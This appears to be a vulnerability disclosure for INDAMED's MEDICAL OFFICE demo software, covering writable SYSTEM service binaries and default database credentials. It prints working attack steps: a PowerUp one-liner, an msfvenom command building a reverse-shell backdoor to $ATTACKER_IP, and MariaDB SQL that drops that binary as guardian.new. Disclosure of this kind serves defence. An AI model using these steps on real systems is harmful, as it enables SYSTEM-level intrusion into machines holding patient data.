Local Privilege Escalation and Default Credentials in MEDICAL OFFICE demo by INDAMED

1) Local Privilege Escalation (Demo version)

By default, MEDICAL OFFICE is installed in the folder "C:\INDAMED" and contains several service binaries which are run as "SYSTEM". By renaming one of the following services and writing a malicious service binary with the original Name of the service, an attacker can escalate privileges to "SYSTEM":

guardian.exe
moserver.exe

Example: While the moserver.exe is running an attacker can rename the file to moserverx.exe and drop a malicious service binary with the name moserver.exe. Afterwards one has to restart the moserver.exe service which is not possible for normal users. The attacker can however reboot the machine to complete the attack.

An easier variant uses the fact that dropping a service binary with the name "guardian.new" will force the currently running guardian to stop, copy the "guardian.new" to "guardian.exe" and then start the service.

By utilizing PowerUp's 'Write-ServiceBinary' (https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1), the attack can be simplified to the following oneliner:

Write-ServiceBinary -UserName secconsult -Name "MEDICAL OFFICE - Guardian" -Path C:\INDAMED\guardian.new

2) Hardcoded Credentials (Demo version)

MEDICAL OFFICE uses a Firebird database for statistical medical data which is located at "C:\INDAMED\dat\MOSTAT242G.gdb". The Firebird server uses the Default credentials "SYSDBA:masterkey". Fortunately, the Firebird server is not exposed by default.

The core database which contains user, patients and medical data is a MariaDB instance which is listening on port 2020 and uses the default credentials "medoff:medoff". The installer creates a firewall rule to allow connections to this port.

The hardcoded credentials can be used to login in to the MariaDB with the user medoff who has DBA rights:

By using TEMPORARY TABLES, LOAD DATA LOCAL and SELECT INTO OUTFILE, an attacker can write a malicious service binary to "C:\INDAMED\guardian.new". This seems to be used during an update to restart the guardian service. As soon as a "guardian.new" is detected the currently running guardian service stops all processes, copies "guardian.new" to "guardian.exe" and starts the new Guardian executable with SYSTEM permissions.

The attack can be performed in two parts:

a) Create a backdoored guardian.exe

A backdoored service executable can i.e. be created with msfvenom:

msfvenom -p windows/shell_reverse_tcp -o guardian.new LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -k -f exe -x guardian.exe

b) Upload and save the backdoored guardian.exe to "C:\INDAMED\guardian.new":

USE medoff;
CREATE TEMPORARY TABLE mytest (payload LONGBLOB);
LOAD DATA LOCAL INFILE "backdoor.exe" INTO TABLE mytest FIELDS TERMINATED BY 'doesnotexist' LINES TERMINATED by 'doesnotexist';
SELECT * FROM mytest INTO OUTFILE "C:\INDAMED\guardian.new" FIELDS TERMINATED BY 'doesnotexist' LINES TERMINATED BY 'doesnotexist';

Afterwards, MEDICAL OFFICE seems to work as usual and spawns a reverse shell on the attacker's machine: